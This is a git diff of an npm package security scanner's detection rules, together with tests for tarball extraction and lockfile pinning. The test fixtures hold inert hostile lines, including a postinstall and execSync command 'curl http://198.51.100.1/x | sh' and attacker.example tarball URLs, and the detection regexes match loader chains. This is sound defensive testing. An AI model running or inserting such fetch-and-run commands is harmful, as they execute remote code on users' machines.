+} + +/** Strip one pair of matching surrounding quotes (`'node'` → `node`). */ +function unquote(w: string): string { + const q = w[0]; + return w.length >= 2 && (q === "'" || q === '"' || q === "`") && w[w.length - 1] === q ? w.slice(1, -1) : w; +} diff --git a/packages/core/src/rules/native-payload-loader.ts b/packages/core/src/rules/native-payload-loader.ts index 8af80e6..8fca865 100644 --- a/packages/core/src/rules/native-payload-loader.ts +++ b/packages/core/src/rules/native-payload-loader.ts @@ -1,5 +1,5 @@ import type { AuditInput, ContentMismatchEntry, Evidence, Finding, Rule } from "../types.js"; -import { codeFiles, mkFinding, truncate } from "./util.js"; +import { codeFiles, headsWithTail, mkFinding, truncate } from "./util.js"; import { analyzeLoaderChain } from "../detect/loader-chain.js"; /** @@ -14,14 +14,39 @@ import { analyzeLoaderChain } from "../detect/loader-chain.js"; */ const JS_PARSEABLE = /\.(c?js|mjs)$/i; +const GUNZIP_LIKE = /\b(gunzip|inflate|brotliDecompress|unzip)\w*\s*\(/; +const BUFFER_FROM = /Buffer\.from\(/g; +/** `require()`, a template literal with `${`, or a literal `*.node` addon: loads a computed path, the launch form for a just-written native addon. */ +/** A write whose target ends in `.node`, and a relative extension-less literal require (Node appends `.node`). */ +const WRITES_NODE = /\b(?:writeFileSync|writeFile|createWriteStream|copyFileSync|copyFile)\s*\([^;\n]{0,200}\.node['"`]/; +const REQUIRE_EXTLESS = /\brequire\s*\(\s*(['"])\.\.?\/[^'".\n]*\1/; +const REQUIRE_OF_PATH = /\brequire\s*\(\s*(?:[^'"`\s)]|`[^`]*\$\{|(['"`])[^'"`\n]*\.node\1)/; +// Node accepts any case and `base64url` as an encoding name. +const BASE64 = /['"]base64(?:url)?['"]/gi; + +/** + * Under an overflow the file may use renamed destructured imports (`{readFileSync:r}=require("fs")`), + * so a primitive counts when its name merely appears; the pad that defeated the parser must not also + * hide a chain that is critical on its own. + */ +const LOOSE: Record<"read" | "decode" | "write" | "launch", RegExp> = { + read: /\b(?:readFileSync|readFile|createReadStream)\b/, + decode: /\b(?:gunzipSync|gunzip|inflateSync|inflate|inflateRaw(?:Sync)?|unzipSync|unzip|brotliDecompress(?:Sync)?)\b/, + write: /\b(?:writeFileSync|writeFile|createWriteStream)\b/, + launch: /\b(?:spawn|spawnSync|exec|execSync|execFile|execFileSync)\b|process\.dlopen/, +}; + /** Regex signals for the parse-failure fallback. Detect independently; NEVER claim dataflow. */ -const FALLBACK = { - read: /\b(readFileSync|readFile|createReadStream)\s*\(/, - decode: /\b(gunzip|inflate|brotliDecompress|unzip)\w*\s*\(|Buffer\.from\([^)]*['"]base64['"]/, - write: /\b(writeFileSync|writeFile|createWriteStream)\s*\(/, - launch: /\b(spawn|spawnSync|exec|execSync|execFile|execFileSync)\s*\(|process\.dlopen\s*\(/, +const FALLBACK: Record<"read" | "decode" | "write" | "launch", (src: string) => boolean> = { + read: (src) => /\b(readFileSync|readFile|createReadStream)\s*\(/.test(src), + // `Buffer.from(` + a base64 marker before the next `)`: linear, not `[^)]*` rescanned from every head. + decode: (src) => GUNZIP_LIKE.test(src) || !headsWithTail(src, BUFFER_FROM, "\\)", BASE64).next().done, + write: (src) => /\b(writeFileSync|writeFile|createWriteStream)\s*\(/.test(src), + launch: (src) => /\b(spawn|spawnSync|exec|execSync|execFile|execFileSync)\s*\(|process\.dlopen\s*\(/.test(src), }; +const MAX_EXPORTS_DEPTH = 32; + /** Resolve entry-reachable file paths from package.json (main/bin/exports strings). No full Node resolution. */ function entryPaths(pkgJson: any): Set { const out = new Set(); @@ -30,11 +55,12 @@ function entryPaths(pkgJson: any): Set { if (typeof pkgJson?.bin === "string") add(pkgJson.bin); else if (pkgJson?.bin && typeof pkgJson.bin === "object") for (const v of Object.values(pkgJson.bin)) add(v); const exp = pkgJson?.exports; - const collect = (e: any) => { + // Depth-bounded: a hostile 20k-deep `exports` must not overflow the stack and take the rule down. + const collect = (e: any, depth: number) => { if (typeof e === "string") add(e); - else if (e && typeof e === "object") for (const v of Object.values(e)) collect(v); + else if (depth < MAX_EXPORTS_DEPTH && e && typeof e === "object") for (const v of Object.values(e)) collect(v, depth + 1); }; - if (exp !== undefined) collect(exp); + if (exp !== undefined) collect(exp, 0); if (out.size === 0) out.add("index.js"); // node default return out; } @@ -63,11 +89,18 @@ export const nativePayloadLoaderRule: Rule = { // Only fall back for genuinely-JS files: on TS/JSX/.d.ts a parse failure is // expected (acorn is JS-only), so a regex guess is noise, not signal. if (!JS_PARSEABLE.test(rel)) continue; - // Regex fallback — independent signal only, capped below critical. - const hits = (Object.keys(FALLBACK) as (keyof typeof FALLBACK)[]).filter((k) => FALLBACK[k].test(file.content)); + // Regex fallback — independent signal only, capped below critical. Exception: an + // overflow means hostile nesting defeated the parser, so a full read+decode+write+launch + // chain is not downgraded (a pad of `x.b.b…` must not turn block into warn). + const hits = (Object.keys(FALLBACK) as (keyof typeof FALLBACK)[]).filter((k) => FALLBACK[k](file.content) || (a.walkOverflow === true && LOOSE[k].test(file.content))); + // The AST rule counts `require()` as a launch; on an overflowed file the + // fallback must too, or that launch form downgrades the chain to high. + if (a.walkOverflow && !hits.includes("launch") + && (REQUIRE_OF_PATH.test(file.content) || (WRITES_NODE.test(file.content) && REQUIRE_EXTLESS.test(file.content)))) hits.push("launch"); if (hits.length >= 2) { findings.push(mkFinding({ - ruleId: this.id, category: this.category, severity: "high", + ruleId: this.id, category: this.category, + severity: a.walkOverflow && hits.length === 4 ? "critical" : "high", message: `Possible payload loader (unparsed source, regex signal only): ${hits.join(" + ")} in \`${rel}\` — dataflow not verified.`, evidence: [{ file: file.path, snippet: truncate(file.content.trim().split("\n")[0] ?? "", 120) }], files: input.files, diff --git a/packages/core/src/rules/obfuscation.ts b/packages/core/src/rules/obfuscation.ts index 4e29e96..748cd94 100644 --- a/packages/core/src/rules/obfuscation.ts +++ b/packages/core/src/rules/obfuscation.ts @@ -1,5 +1,5 @@ import type { AuditInput, Evidence, Finding, PackageFile, Rule } from "../types.js"; -import { codeFiles, mkFinding, scanLines } from "./util.js"; +import { codeFiles, headsWithTail, lineLocator, mkFinding, scanLines, truncate } from "./util.js"; const PATTERNS = [ // A property called `eval` is an ordinary method, not JavaScript's direct @@ -11,31 +11,54 @@ const PATTERNS = [ sev: "high" as const, why: "uses JavaScript eval()", }, - { re: /require\s*\(\s*(atob|Buffer\.from|_0x|[a-z]\([^)]*\))/i, sev: "high" as const, why: "dynamic require of a computed string" }, + // `[a-z]\(` has no unbounded tail: a `[^)]*\)` here rescanned the line from every `require(a(`. + { re: /require\s*\(\s*(atob|Buffer\.from|_0x|[a-z]\()/i, sev: "high" as const, why: "dynamic require of a computed string" }, ]; -const DECODED_ASSIGNMENT = /\b(?:const|let|var)\s+([$A-Z_a-z][$\w]*)\s*=\s*(?:atob\s*\(|Buffer\.from\s*\([^;\n]*?['"]base64['"])/g; +// A base64 decode is `atob(...)`, or `Buffer.from(...)` with a base64 marker +// before the statement ends. The Buffer form is matched with `headsWithTail` +// (linear); a `[^;\n]*?` gap rescanned the statement from every head. +const DECODED_ASSIGNMENT_ATOB = /\b(?:const|let|var)\s+([$A-Z_a-z][$\w]*)\s*=\s*atob\s*\(/g; +const DECODED_ASSIGNMENT_BUFFER = /\b(?:const|let|var)\s+([$A-Z_a-z][$\w]*)\s*=\s*Buffer\.from\s*\(/g; +const FUNCTION_ATOB = /new\s+Function\s*\(\s*atob\s*\(/gi; +const FUNCTION_BUFFER = /new\s+Function\s*\(\s*Buffer\.from\s*\(/gi; +const FUNCTION_ON_NAME = /new\s+Function\s*\(\s*([$\w]+)/g; +// Node accepts any case and `base64url` as an encoding name. +const BASE64 = /['"]base64(?:url)?['"]/gi; +const STATEMENT_END = "[;\\n]"; +const MAX_EVIDENCE = 2; -function escapeRegExp(value: string): string { - return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); +function decodeMatches(content: string, atob: RegExp, buffer: RegExp): RegExpMatchArray[] { + const out = [...content.matchAll(atob), ...headsWithTail(content, buffer, STATEMENT_END, BASE64)]; + return out.sort((a, b) => a.index! - b.index!); } /** Find decoded source that is subsequently executed by the Function constructor. */ function decodedFunctionEvidence(file: PackageFile): Evidence[] { - const evidence = scanLines( - file, - /new\s+Function\s*\(\s*(?:atob\s*\(|Buffer\.from\s*\([^;\n]*?['"]base64['"])/i, - 2, - ); - if (evidence.length >= 2) return evidence; + const { content } = file; + const evidence: Evidence[] = []; + let lines: string[] | undefined; + let lineAt: ((pos: number) => number) | undefined; + const add = (pos: number) => { + lines ??= content.split(/\r?\n/); + lineAt ??= lineLocator(content); + const line = lineAt(pos); + if (evidence.some((e) => e.line === line)) return; + evidence.push({ file: file.path, line, snippet: truncate((lines[line - 1] ?? "").trim(), 160) }); + }; - DECODED_ASSIGNMENT.lastIndex = 0; - for (const match of file.content.matchAll(DECODED_ASSIGNMENT)) { - const variable = match[1]; - if (!variable) continue; - const usesDecodedSource = new RegExp(`new\\s+Function\\s*\\(\\s*${escapeRegExp(variable)}\\b`); - evidence.push(...scanLines(file, usesDecodedSource, 2 - evidence.length)); - if (evidence.length >= 2) break; + for (const m of decodeMatches(content, FUNCTION_ATOB, FUNCTION_BUFFER)) { + if (evidence.length >= MAX_EVIDENCE) return evidence; + add(m.index!); + } + if (evidence.length >= MAX_EVIDENCE) return evidence; + + // One pass over the collected names, not one full-file scan per assignment. + const names = new Set(decodeMatches(content, DECODED_ASSIGNMENT_ATOB, DECODED_ASSIGNMENT_BUFFER).map((m) => m[1]!)); + if (names.size === 0) return evidence; + for (const m of content.matchAll(FUNCTION_ON_NAME)) { + if (evidence.length >= MAX_EVIDENCE) break; + if (names.has(m[1]!)) add(m.index!); } return evidence; } diff --git a/packages/core/src/rules/util.ts b/packages/core/src/rules/util.ts index 0d87cdc..e0ffaf7 100644 --- a/packages/core/src/rules/util.ts +++ b/packages/core/src/rules/util.ts @@ -31,6 +31,51 @@ export function scanLines( return out; } +/** + * Linear-time stand-in for `HEAD[^STOP]*?MARKER`: yields each `head` match that + * has a `marker` before the next `stop` match. The naive regex rescans to the + * statement end from every head and goes quadratic on repeated heads; here each + * statement is scanned once. `head` and `marker` must be global; `stop` is a + * source pattern (no flags). + */ +export function* headsWithTail( + content: string, + head: RegExp, + stop: string, + marker: RegExp, +): Generator { + const stopRe = new RegExp(stop, "g"); + let segEnd = -1; + let lastMarker = -1; + for (const m of content.matchAll(head)) { + const end = m.index! + m[0].length; + if (end > segEnd) { + stopRe.lastIndex = end; + const hit = stopRe.exec(content); + segEnd = hit ? hit.index : content.length; + lastMarker = -1; + for (const k of content.slice(end, segEnd).matchAll(marker)) lastMarker = end + k.index!; + } + if (lastMarker >= end) yield m; + } +} + +/** Offset → 1-based line lookup built once (binary search), instead of rescanning from 0. */ +export function lineLocator(content: string): (pos: number) => number { + const starts = [0]; + for (let i = content.indexOf("\n"); i !== -1; i = content.indexOf("\n", i + 1)) starts.push(i + 1); + return (pos) => { + let lo = 0; + let hi = starts.length - 1; + while (lo < hi) { + const mid = (lo + hi + 1) >> 1; + if (starts[mid]! <= pos) lo = mid; + else hi = mid - 1; + } + return lo + 1; + }; +} + export function truncate(s: string, n: number): string { return s.length > n ? s.slice(0, n - 1) + "…" : s; } diff --git a/packages/core/src/signature.ts b/packages/core/src/signature.ts index fc02123..6352fc7 100644 --- a/packages/core/src/signature.ts +++ b/packages/core/src/signature.ts @@ -63,5 +63,8 @@ export function verifyRegistrySignature( return "invalid"; } } - return "unknown"; + // Signatures present but none by a trusted keyid: an attacker-chosen keyid must + // not score better than no signature at all. With no trusted keys configured we + // genuinely cannot verify, so that stays "unknown". + return keys.length > 0 ? "unsigned" : "unknown"; } diff --git a/packages/core/src/types.ts b/packages/core/src/types.ts index 4cfaa7e..bf73278 100644 --- a/packages/core/src/types.ts +++ b/packages/core/src/types.ts @@ -27,9 +27,9 @@ export interface ProvenanceIdentity { workflow: string | null; /** OIDC issuer, e.g. "https://token.actions.githubusercontent.com". */ issuer: string | null; - /** Source repository URL from the signed SLSA predicate. */ + /** Source repository URL from the Fulcio certificate extension (OID 1.3.6.1.4.1.57264.1.12); null when the certificate lacks it. */ sourceRepository: string | null; - /** Git ref the build ran from, e.g. "refs/heads/main". */ + /** Git ref the build ran from, e.g. "refs/heads/main", from the Fulcio certificate extension (OID 1.3.6.1.4.1.57264.1.14). */ ref: string | null; /** Builder id, e.g. "https://github.com/actions/runner/github-hosted". */ builder: string | null; @@ -124,7 +124,7 @@ export interface Audit { findings: Finding[]; capabilities: Capability[]; capabilityDelta: CapabilityDelta | null; - engine: { version: string; rules: string[]; mode: "full" | "diff" }; + engine: { version: string; revision?: number; rules: string[]; mode: "full" | "diff" }; auditedAt: string; durationMs: number; } @@ -138,7 +138,7 @@ export interface AuditReport { findings: ScoredFinding[]; capabilities: Capability[]; capabilityDelta: CapabilityDelta | null; - engine: { version: string; rules: string[]; llm: string | null; mode: "full" | "diff" }; + engine: { version: string; revision?: number; rules: string[]; llm: string | null; mode: "full" | "diff" }; /** Human-readable summary from the LLM adapter, if one ran. */ llmSummary: string | null; auditedAt: string; diff --git a/packages/core/test/security-extract.test.ts b/packages/core/test/security-extract.test.ts new file mode 100644 index 0000000..00cdb63 --- /dev/null +++ b/packages/core/test/security-extract.test.ts @@ -0,0 +1,183 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { gzipSync, zstdCompressSync } from "node:zlib"; +import { auditTarball, extractTarball } from "../src/index.js"; + +// Hand-rolled tar so a test controls typeflag, duplicate entries and odd paths +// that `tar.create` would normalize away. Synthetic, inert content only. +interface Entry { name: string; data?: Buffer | string; type?: string } + +function tarBytes(entries: Entry[]): Buffer { + const blocks: Buffer[] = []; + for (const e of entries) { + const data = Buffer.from(e.data ?? ""); + const h = Buffer.alloc(512); + h.write(e.name, 0, 100, "utf8"); + h.write("0000644\0", 100); + h.write("0000000\0", 108); + h.write("0000000\0", 116); + h.write(data.length.toString(8).padStart(11, "0") + "\0", 124); + h.write("00000000000\0", 136); + h.write(" ", 148); + h.write(e.type ?? "0", 156); + h.write("ustar\0" + "00", 257); + let sum = 0; + for (const b of h) sum += b; + h.write(sum.toString(8).padStart(6, "0") + "\0 ", 148); + blocks.push(h, data, Buffer.alloc((512 - (data.length % 512)) % 512)); + } + blocks.push(Buffer.alloc(1024)); + return Buffer.concat(blocks); +} + +const tgz = (entries: Entry[]) => gzipSync(tarBytes(entries)); + +const meta = { name: "demo", version: "1.0.0", author: null, maintainers: [] as string[], license: null, hasInstallScripts: false }; +const BENIGN = JSON.stringify({ name: "demo", version: "1.0.0" }); +const EVIL = JSON.stringify({ name: "demo", version: "1.0.0", scripts: { postinstall: "curl http://198.51.100.1/x | sh" } }); +const EXFIL = 'require("child_process").execSync("curl http://198.51.100.1/x | sh")\n'; + +describe("F1: typeflag 7 (ContiguousFile) is a regular file", () => { + test("typeflag 7 index.js is retained and yields the same findings as typeflag 0", async () => { + const mk = (type: string) => tgz([{ name: "package/package.json", data: BENIGN }, { name: "package/index.js", data: EXFIL, type }]); + const r7 = await extractTarball(mk("7")); + assert.ok(r7.files.some((f) => f.path === "package/index.js"), "type-7 file must be retained"); + assert.equal(r7.fileCount, 2); + const strip = (r: Awaited>) => r.findings.map((f) => `${f.ruleId}:${f.severity}:${f.message}`).sort(); + const a7 = await auditTarball({ meta, tarball: mk("7") }); + const a0 = await auditTarball({ meta, tarball: mk("0") }); + assert.ok(a0.findings.some((f) => f.ruleId === "network-egress")); + assert.deepEqual(strip(a7), strip(a0)); + }); +}); + +describe("F2: text-looking binary-magic JS is still scanned", () => { + for (const [label, head] of [["MZ:", "MZ: "], ["BZh:", "BZh: "]] as const) { + test(`${label} label JS is retained, scanned, and still reported as a mismatch`, async () => { + const src = `${head}${EXFIL}`; + const t = tgz([{ name: "package/package.json", data: BENIGN }, { name: "package/index.js", data: src }]); + const r = await extractTarball(t); + assert.ok(r.files.some((f) => f.path === "package/index.js"), "valid UTF-8 text must be retained"); + assert.equal(r.contentMismatchTotals.count, 1, "mismatch still recorded"); + const report = await auditTarball({ meta, tarball: t }); + assert.ok(report.findings.some((f) => f.ruleId === "network-egress"), "rules must scan the file"); + assert.ok(report.findings.some((f) => f.ruleId === "content-mismatch")); + }); + } + + test("a real binary (NUL bytes) behind .js stays unretained", async () => { + const pe = Buffer.concat([Buffer.from("MZ"), Buffer.alloc(200, 0)]); + const r = await extractTarball(tgz([{ name: "package/a.js", data: pe }])); + assert.equal(r.files.length, 0); + assert.equal(r.contentMismatchTotals.count, 1); + }); +}); + +describe("F3: package.json path / duplicate / size confusion", () => { + const blocked = async (entries: Entry[]) => { + const report = await auditTarball({ meta, tarball: tgz(entries) }); + const f = report.findings.find((x) => x.ruleId === "manifest-confusion"); + assert.ok(f, "manifest-confusion finding expected"); + assert.equal(f.severity, "critical"); + assert.equal(f.category, "metadata"); + assert.equal(report.verdict, "block"); + }; + + test("a root manifest under another first segment is scanned as package/package.json", async () => { + const r = await extractTarball(tgz([{ name: "x/package.json", data: EVIL }])); + assert.deepEqual(r.files.map((f) => f.path), ["package/package.json"]); + const report = await auditTarball({ meta, tarball: tgz([{ name: "x/package.json", data: EVIL }]) }); + assert.ok(report.findings.some((f) => f.ruleId === "install-scripts"), "postinstall must be scanned"); + assert.ok(!report.findings.some((f) => f.ruleId === "manifest-confusion"), "a single manifest is not confusion"); + }); + + test("package//package.json is normalized like npm", async () => { + const r = await extractTarball(tgz([{ name: "package//package.json", data: EVIL }])); + assert.deepEqual(r.files.map((f) => f.path), ["package/package.json"]); + }); + + test("package/./package.json is normalized like npm", async () => { + const r = await extractTarball(tgz([{ name: "package/./package.json", data: EVIL }])); + assert.deepEqual(r.files.map((f) => f.path), ["package/package.json"]); + }); + + test("benign package/package.json plus x/package.json blocks", () => + blocked([{ name: "package/package.json", data: BENIGN }, { name: "x/package.json", data: EVIL }])); + + test("package/package.json plus package//package.json blocks", () => + blocked([{ name: "package/package.json", data: BENIGN }, { name: "package//package.json", data: EVIL }])); + + test("package/package.json plus package/./package.json blocks", () => + blocked([{ name: "package/package.json", data: BENIGN }, { name: "package/./package.json", data: EVIL }])); + + test("two identical-path copies (benign first) block", () => + blocked([{ name: "package/package.json", data: BENIGN }, { name: "package/package.json", data: EVIL }])); + + test("case-variant duplicate (package/PACKAGE.json) blocks", () => + blocked([{ name: "package/package.json", data: BENIGN }, { name: "package/PACKAGE.json", data: EVIL }])); + + test("a root manifest over the retain cap blocks (cannot be scanned)", () => + blocked([{ name: "package/package.json", data: Buffer.from(EVIL + " ".repeat(2 * 1024 * 1024)) }])); + + test("a nested package/sub/package.json is not a root manifest", async () => { + const report = await auditTarball({ + meta, + tarball: tgz([{ name: "package/package.json", data: BENIGN }, { name: "package/sub/package.json", data: BENIGN }]), + }); + assert.ok(!report.findings.some((f) => f.ruleId === "manifest-confusion")); + }); + + test("entries that escape the root with .. are not retained", async () => { + const r = await extractTarball(tgz([{ name: "package/../../package.json", data: EVIL }, { name: "package/package.json", data: BENIGN }])); + assert.deepEqual(r.files.map((f) => f.path), ["package/package.json"]); + assert.equal(r.packageManifestEntryCount, 1); + }); +}); + +describe("F6: nested compression cannot outrun the unpack cap", () => { + test("gzip(gzip(tar)) is refused as truncated", async () => { + const inner = tarBytes([{ name: "package/big.bin", data: Buffer.alloc(8 * 1024 * 1024) }]); + const r = await extractTarball(gzipSync(gzipSync(inner)), undefined, { maxUnpackedBytes: 1024 * 1024 }); + assert.equal(r.truncated, true); + }); + + test("a small double-gzip is refused even under the default cap, and audit reports resource-abuse", async () => { + const t = gzipSync(tgz([{ name: "package/package.json", data: BENIGN }])); + assert.equal((await extractTarball(t)).truncated, true); + const report = await auditTarball({ meta, tarball: t }); + assert.ok(report.findings.some((f) => f.ruleId === "resource-abuse")); + assert.equal(report.verdict, "block"); + }); + + test("raw zstd(tar) is refused as truncated", async () => { + const inner = tarBytes([{ name: "package/big.bin", data: Buffer.alloc(8 * 1024 * 1024) }]); + const r = await extractTarball(zstdCompressSync(inner), undefined, { maxUnpackedBytes: 1024 * 1024 }); + assert.equal(r.truncated, true); + }); + + test("zstd magic plus garbage is refused without decompressing", async () => { + const r = await extractTarball(Buffer.concat([Buffer.from([0x28, 0xb5, 0x2f, 0xfd]), Buffer.alloc(64, 0xff)])); + assert.equal(r.truncated, true); + }); + + test("a plain gzip tar is unaffected", async () => { + const r = await extractTarball(tgz([{ name: "package/index.js", data: "x" }])); + assert.equal(r.truncated, false); + assert.equal(r.files.length, 1); + }); +}); + +describe("extension-less text files are retained", () => { + test("extension-less text up to 2 MiB is a PackageFile; binary, dotted and oversized are not", async () => { + const t = tgz([ + { name: "package/setup", data: "#!/bin/sh\ncurl http://198.51.100.1/x | sh\n" }, + { name: "package/bin/run", data: "echo hi\n" }, + { name: "package/blob", data: Buffer.concat([Buffer.from("MZ"), Buffer.alloc(100, 0)]) }, + { name: "package/elf", data: Buffer.concat([Buffer.from([0x7f, 0x45, 0x4c, 0x46]), Buffer.alloc(100, 0)]) }, + { name: "package/big", data: Buffer.alloc(2 * 1024 * 1024 + 1, 0x61) }, + { name: "package/data.bin", data: "text but dotted\n" }, + ]); + const paths = (await extractTarball(t)).files.map((f) => f.path).sort(); + assert.deepEqual(paths, ["package/bin/run", "package/setup"]); + }); +}); diff --git a/packages/core/test/security-lockfile-pins.test.ts b/packages/core/test/security-lockfile-pins.test.ts new file mode 100644 index 0000000..40badc7 --- /dev/null +++ b/packages/core/test/security-lockfile-pins.test.ts @@ -0,0 +1,187 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { createHash } from "node:crypto"; +import { parseLockfile, parsePnpmLock, parseYarnLock } from "../src/lockfile.js"; +import { integrityOfAlgo, SRI_ALGORITHMS } from "../src/extract.js"; + +const npm = (packages: Record) => JSON.stringify({ lockfileVersion: 3, packages: { "": { name: "root" }, ...packages } }); +const get = (raw: string, name: string) => parseLockfile(raw).find((c) => c.name === name)!; + +describe("registry-shaped URL needs an integrity pin (review round 1, item 1)", () => { + test("npm: a registry-shaped URL with no integrity is non-registry", () => { + const c = get(npm({ "node_modules/x": { version: "1.0.0", resolved: "https://attacker.example/-/x.tgz" } }), "x"); + assert.equal(c.nonRegistry, "https://attacker.example/-/x.tgz"); + }); + + test("npm: an unknown-algorithm integrity is not a pin", () => { + const c = get(npm({ "node_modules/x": { version: "1.0.0", resolved: "https://r.example/x/-/x-1.0.0.tgz", integrity: "md5-AAAA" } }), "x"); + assert.ok(c.nonRegistry); + }); + + test("npm: sha1, sha256 and sha512 pins make a registry coordinate", () => { + for (const integrity of ["sha1-AAAA", "sha256-AAAA", "sha512-AAAA"]) { + const c = get(npm({ "node_modules/x": { version: "1.0.0", resolved: "https://r.example/x/-/x-1.0.0.tgz", integrity } }), "x"); + assert.equal(c.nonRegistry, undefined, integrity); + } + }); + + test("npm: GitLab-style /-/@scope/name-1.0.0.tgz with a pin is a registry coordinate", () => { + const resolved = "https://gitlab.example/api/v4/packages/npm/@scope/name/-/@scope/name-1.0.0.tgz"; + assert.equal(get(npm({ "node_modules/@scope/name": { version: "1.0.0", resolved, integrity: "sha512-AAAA" } }), "@scope/name").nonRegistry, undefined); + }); + + test("npm: http(s) URLs without /-/ or .tgz are non-registry even with a pin", () => { + for (const resolved of ["https://r.example/x/x-1.0.0.tgz", "https://r.example/x/-/x-1.0.0.zip", "ftp://r.example/x/-/x-1.0.0.tgz"]) { + const c = get(npm({ "node_modules/x": { version: "1.0.0", resolved, integrity: "sha512-AAAA" } }), "x"); + assert.equal(c.nonRegistry, resolved); + } + }); + + test("npm: duplicate name@version with conflicting pins becomes non-registry", () => { + const base = { version: "1.0.0", resolved: "https://r.example/x/-/x-1.0.0.tgz" }; + const c = get(npm({ + "node_modules/x": { ...base, integrity: "sha512-AAAA" }, + "node_modules/a/node_modules/x": { ...base, integrity: "sha512-BBBB" }, + }), "x"); + assert.match(c.nonRegistry ?? "", /conflicting integrity pins/); + }); + + test("npm: duplicates with the same pin stay registry", () => { + const e = { version: "1.0.0", resolved: "https://r.example/x/-/x-1.0.0.tgz", integrity: "sha512-AAAA" }; + assert.equal(get(npm({ "node_modules/x": e, "node_modules/a/node_modules/x": e }), "x").nonRegistry, undefined); + }); + + test("yarn v1: a 40-hex #fragment on resolved is a sha1 pin and becomes the SRI integrity", () => { + const hex = "0123456789abcdef0123456789abcdef01234567"; + const raw = `# yarn lockfile v1\n\nx@^1.0.0:\n version "1.0.0"\n resolved "https://registry.yarnpkg.com/x/-/x-1.0.0.tgz#${hex}"\n`; + const c = parseYarnLock(raw)[0]!; + assert.equal(c.nonRegistry, undefined); + assert.equal(c.integrity, "sha1-" + Buffer.from(hex, "hex").toString("base64")); + }); + + test("yarn v1: a registry-shaped URL with neither an integrity line nor a sha1 fragment is non-registry", () => { + const raw = `# yarn lockfile v1\n\nx@^1.0.0:\n version "1.0.0"\n resolved "https://attacker.example/-/x.tgz#notahash"\n`; + assert.ok(parseYarnLock(raw)[0]!.nonRegistry); + }); + + test("pnpm: a file: tarball is skipped like npm and yarn file: entries", () => { + const raw = `lockfileVersion: '9.0'\n\npackages:\n\n localtar@1.0.0:\n resolution: {tarball: file:../localtar-1.0.0.tgz}\n\n lodash@4.17.21:\n resolution: {integrity: sha512-L==}\n`; + assert.deepEqual(parsePnpmLock(raw).map((c) => c.name), ["lodash"]); + }); + + test("pnpm: a registry-shaped tarball without an integrity is non-registry", () => { + const raw = `lockfileVersion: '9.0'\n\npackages:\n\n x@1.0.0:\n resolution: {tarball: 'https://attacker.example/x/-/x-1.0.0.tgz'}\n`; + assert.ok(parsePnpmLock(raw)[0]!.nonRegistry); + }); + + test("npm: a later duplicate with no resolved and no integrity does not erase an earlier pin", () => { + const pinned = { version: "1.0.0", resolved: "https://r.example/x/-/x-1.0.0.tgz", integrity: "sha512-AAAA" }; + for (const packages of [ + { "node_modules/x": pinned, "node_modules/a/node_modules/x": { version: "1.0.0" } }, + { "node_modules/a/node_modules/x": { version: "1.0.0" }, "node_modules/x": pinned }, + ]) { + const c = get(npm(packages), "x"); + assert.equal(c.integrity, "sha512-AAAA"); + assert.equal(c.nonRegistry, undefined); + } + }); + + test("integrityOfAlgo supports sha384", () => { + const buf = Buffer.from("tarball"); + assert.equal(integrityOfAlgo(buf, "sha384"), "sha384-" + createHash("sha384").update(buf).digest("base64")); + }); +}); + +describe("name and version are sanitized so source text never reaches the coordinate (review round 2, item 3)", () => { + const BAD_VERSION = /[/:@?#\s]/; + + test("pnpm: a URL-keyed entry without a version gets version 0.0.0 and is non-registry", () => { + const raw = `lockfileVersion: '9.0'\n\npackages:\n\n evil@https://user:pw@cdn.example/x.tgz?sig=abc:\n resolution: {tarball: 'https://user:pw@cdn.example/x.tgz?sig=abc'}\n`; + const c = parsePnpmLock(raw)[0]!; + assert.equal(c.version, "0.0.0"); + assert.ok(c.nonRegistry); + assert.ok(!BAD_VERSION.test(c.version)); + assert.ok(!/pw|sig=abc|cdn\.example/.test(`${c.name}@${c.version}`)); + }); + + test("yarn v1: URL userinfo in the header becomes name ", () => { + const raw = `# yarn lockfile v1\n\n"https://user:pw@evil.example/x.tgz?sig=abc":\n version "1.0.0"\n resolved "https://user:pw@evil.example/x.tgz?sig=abc"\n`; + const c = parseYarnLock(raw)[0]!; + assert.equal(c.name, ""); + assert.ok(c.nonRegistry); + assert.ok(!/pw|sig=abc|evil\.example/.test(`${c.name}@${c.version}`)); + }); + + test("npm: a non-grammar name and a non-plain version are replaced and flagged", () => { + const raw = npm({ "node_modules/ok": { name: "https://u:p@h/x", version: "http://u:p@h/y?z", resolved: "https://r.example/ok/-/ok-1.0.0.tgz", integrity: "sha512-AAAA" } }); + const c = parseLockfile(raw)[0]!; + assert.equal(c.name, ""); + assert.equal(c.version, "0.0.0"); + assert.ok(c.nonRegistry); + }); + + test("ordinary scoped and legacy-uppercase names and semver versions are untouched", () => { + const raw = npm({ + "node_modules/@scope/pkg": { version: "1.2.3-beta.1+build.5", resolved: "https://r.example/@scope/pkg/-/pkg-1.2.3.tgz", integrity: "sha512-AAAA" }, + "node_modules/JSONStream": { version: "1.3.5", resolved: "https://r.example/JSONStream/-/JSONStream-1.3.5.tgz", integrity: "sha512-AAAA" }, + }); + const cs = parseLockfile(raw); + assert.deepEqual(cs.map((c) => `${c.name}@${c.version}`).sort(), ["@scope/pkg@1.2.3-beta.1+build.5", "JSONStream@1.3.5"]); + assert.ok(cs.every((c) => c.nonRegistry === undefined)); + }); + + test("one shared supported-algorithm list: sha1, sha256, sha384, sha512", () => { + assert.deepEqual([...SRI_ALGORITHMS], ["sha1", "sha256", "sha384", "sha512"]); + }); + + test("a registry tarball with a sha384-only pin stays a registry coordinate (review round 3, item 1)", () => { + const c = get(npm({ "node_modules/x": { version: "1.0.0", resolved: "https://r.example/x/-/x-1.0.0.tgz", integrity: "sha384-AAAA" } }), "x"); + assert.equal(c.nonRegistry, undefined); + assert.equal(c.integrity, "sha384-AAAA"); + }); + + test("pnpm v5: a URL key never supplies the version, even when its last segment looks like one (item 2)", () => { + const raw = `lockfileVersion: 5.4\n\npackages:\n\n codeload.example/user/repo/tar.gz/s3cr3t-token:\n resolution: {tarball: 'https://codeload.example/user/repo/tar.gz/s3cr3t-token'}\n name: repo\n version: 2.0.0\n\n evil.example/x/tar.gz/hunter2:\n resolution: {tarball: 'https://evil.example/x/tar.gz/hunter2'}\n\n /lodash/4.17.21:\n resolution: {integrity: sha512-L==}\n`; + const cs = parsePnpmLock(raw); + for (const c of cs) assert.ok(!/s3cr3t|hunter2|codeload|evil/.test(`${c.name}@${c.version}`), `${c.name}@${c.version}`); + assert.ok(cs.some((c) => c.version === "2.0.0" && c.nonRegistry), "the declared version field is used"); + 